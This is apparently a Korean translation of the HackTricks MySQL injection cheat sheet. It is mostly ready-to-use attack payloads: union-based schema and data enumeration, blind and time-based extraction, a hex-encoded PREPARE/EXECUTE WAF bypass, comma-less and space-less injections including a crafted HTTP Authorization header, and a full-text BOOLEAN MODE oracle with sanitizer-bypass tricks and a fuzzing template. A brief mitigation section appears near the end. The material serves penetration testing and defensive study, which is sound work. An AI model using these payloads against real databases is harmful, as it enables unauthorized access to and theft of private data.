MySQL injection

Reading time: 9 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

주석

sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

흥미로운 함수

Mysql 확인:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

유용한 함수

sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

모든 injection

sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

from https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

흐름

최신 버전의 MySQL에서는 "information_schema.tables"를 "mysql.innodb_table_stats" 대신 사용할 수 있다는 것을 기억하세요. (이는 WAFs를 우회하는 데 유용할 수 있습니다).

sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

값 1개만

  • group_concat()
  • Limit X,1

Blind 한 글자씩

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

Blind 추가

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

컬럼 수 감지

간단한 ORDER 사용

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

여기에서 다양한 옵션을 알아보세요 abuse a Mysql injection to obtain a SSRF.

WAF bypass tricks

Executing queries through Prepared Statements

stacked queries가 허용될 경우, 실행하려는 쿼리의 hex representation을 변수에 할당(SET 사용)한 뒤 PREPARE와 EXECUTE MySQL 문을 사용해 결국 그 쿼리를 실행함으로써 WAFs를 우회할 수 있습니다. 예:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

자세한 내용은 this blog post를 참조하세요.

Information_schema 대체 방법

기억하세요: "modern" 버전의 MySQL에서는 _information_schema.tables_을 mysql.innodb_table_stats 또는 sys.x$schema_flattened_keys 또는 sys.schema_table_statistics로 대체할 수 있습니다

MySQLinjection 쉼표 없이

쉼표를 사용하지 않고 2개의 컬럼 선택 (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

컬럼 이름 없이 값 가져오기

테이블 이름은 알고 있지만 테이블 안의 컬럼 이름을 모르는 경우, 다음과 같이 실행해서 컬럼이 몇 개인지 알아볼 수 있습니다:

bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

두 개의 열이 있다고 가정하고(첫 번째가 ID이고 다른 하나가 flag인 경우), flag의 내용을 문자 하나씩 bruteforce하여 시도해 볼 수 있습니다:

bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

추가 정보: https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

SPACES 없이 Injection (/**/ comment trick)

일부 애플리케이션은 sscanf("%128s", buf)와 같은 함수로 사용자 입력을 정제하거나 파싱하는데, 이 함수들은 첫 번째 공백 문자에서 멈춥니다. MySQL이 시퀀스 /**/를 주석 그리고 공백으로 처리하기 때문에, 이 표기를 이용하면 쿼리 문법을 유효하게 유지하면서 페이로드의 일반 공백을 완전히 제거할 수 있습니다.

예: time-based blind injection으로 space filter를 우회하는 방법:

http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

데이터베이스가 받는 형태는:

sql
' OR SLEEP(5)-- -'

This is especially handy when:

  • 제어 가능한 버퍼의 크기가 제한되어 있을 때(예: %128s) 공백이 입력을 중간에 종료시킬 수 있습니다.
  • HTTP headers 또는 일반 공백이 제거되거나 구분자로 사용되는 다른 필드를 통해 주입할 때.
  • 완전한 pre-auth RCE를 달성하기 위해 INTO OUTFILE primitives와 결합될 때 (MySQL File RCE 섹션 참조).

MySQL 기록

MySQL에서 테이블을 읽는 동안 수행된 다른 실행들을 볼 수 있습니다: sys.x$statement_analysis

버전 대안s

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)

이것은 전형적인 SQL injection이 아닙니다. 개발자가 사용자 입력을 MATCH(col) AGAINST('...' IN BOOLEAN MODE)에 전달할 때, MySQL은 인용된 문자열 내부에서 다양한 Boolean 검색 연산자를 실행합니다. 많은 WAF/SAST 규칙은 따옴표를 깨는 것에만 집중해 이 점을 놓칩니다.

Key points:

  • Operators are evaluated inside the quotes: + (반드시 포함), - (포함하지 않아야 함), * (후행 와일드카드), "..." (정확한 문구), () (그룹화), </>/~ (가중치). See MySQL docs.
  • This allows presence/absence and prefix tests without breaking out of the string literal, e.g. AGAINST('+admin*' IN BOOLEAN MODE) to check for any term starting with admin.
  • Useful to build oracles such as “does any row contain a term with prefix X?” and to enumerate hidden strings via prefix expansion.

Example query built by the backend:

sql
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

애플리케이션이 result set이 비었는지에 따라 다른 응답(예: redirect vs. error message)을 반환한다면, 그 동작은 Boolean oracle이 되어 숨겨진/삭제된 제목과 같은 비공개 데이터를 열거하는 데 사용할 수 있다.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: 백엔드가 단어당 1–2개의 꼬리 문자를 (\b.{1,2})(\s)|(\b.{1,2}$) 같은 정규식으로 잘라낸다면, prefix*ZZ를 제출하라. cleaner는 ZZ만 잘라내고 *는 남겨두므로 prefix*가 유지된다.
  • Early-break stripping: 코드가 단어별로 연산자를 제거하지만 길이 ≥ min length인 토큰을 찾으면 처리를 중단한다면, 두 개의 토큰을 보낸다: 첫 번째는 길이 임계값을 충족하는 정크 토큰이고, 두 번째가 operator payload를 담는다. For example: &&&&& +jack*ZZ → after cleaning: +&&&&& +jack*.

Payload template (URL-encoded):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26&, %2B+입니다. 끝의 xD (또는 아무 두 문자)는 클리너에 의해 잘려 {FUZZ}*가 보존됩니다.
  • 리다이렉트를 “match”로 처리하고 에러 페이지를 “no match”로 처리하세요. 오라클을 관찰 가능하게 유지하려면 리다이렉트를 자동으로 따라가지 마세요.

열거 작업 흐름:

  1. 첫 글자 매치를 찾기 위해 {FUZZ} = a…z,0…9로 시작하여 +a*, +b*, … 를 사용하세요.
  2. 각 긍정적 접두사마다 분기: a* → aa* / ab* / …. 전체 문자열을 복구할 때까지 반복합니다.
  3. 앱이 플러드 제어를 적용하면 요청을 분산하세요 (프록시, 다중 계정 등).

왜 제목은 종종 leak하는데 본문은 그렇지 않은가:

  • 일부 앱은 제목/주제에 대한 예비 MATCH 이후에만 가시성 검사를 적용합니다. 필터링 전에 제어 흐름이 “any results?” 결과에 의존하면, 존재성 leaks가 발생합니다.

완화 방안:

  • Boolean logic이 필요 없다면 IN NATURAL LANGUAGE MODE를 사용하거나 사용자 입력을 리터럴로 취급하세요 (이스케이프/따옴표로 다른 모드의 연산자를 비활성화).
  • Boolean mode가 필요하다면 토큰화 후(중간 중단 없이) 모든 토큰에 대해 모든 Boolean 연산자 (+ - * " ( ) < > ~)를 제거하거나 무력화하세요.
  • MATCH 이전에 가시성/권한 필터를 적용하거나, 결과 집합이 비어있을 때와 비어있지 않을 때의 응답(타이밍/상태)을 통일하세요.
  • 다른 DBMS의 유사 기능을 검토하세요: PostgreSQL to_tsquery/websearch_to_tsquery, SQL Server/Oracle/Db2의 CONTAINS도 따옴표로 감싼 인수 안의 연산자를 파싱합니다.

참고:

  • Prepared statements는 REGEXP나 검색 연산자의 의미적 남용으로부터 보호하지 않습니다. .* 같은 입력은 따옴표로 감싼 REGEXP '.*' 안에 있어도 여전히 관대한 정규식으로 남습니다. 허용 목록(allow-lists)이나 명시적 가드를 사용하세요.

Other MYSQL injection guides

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기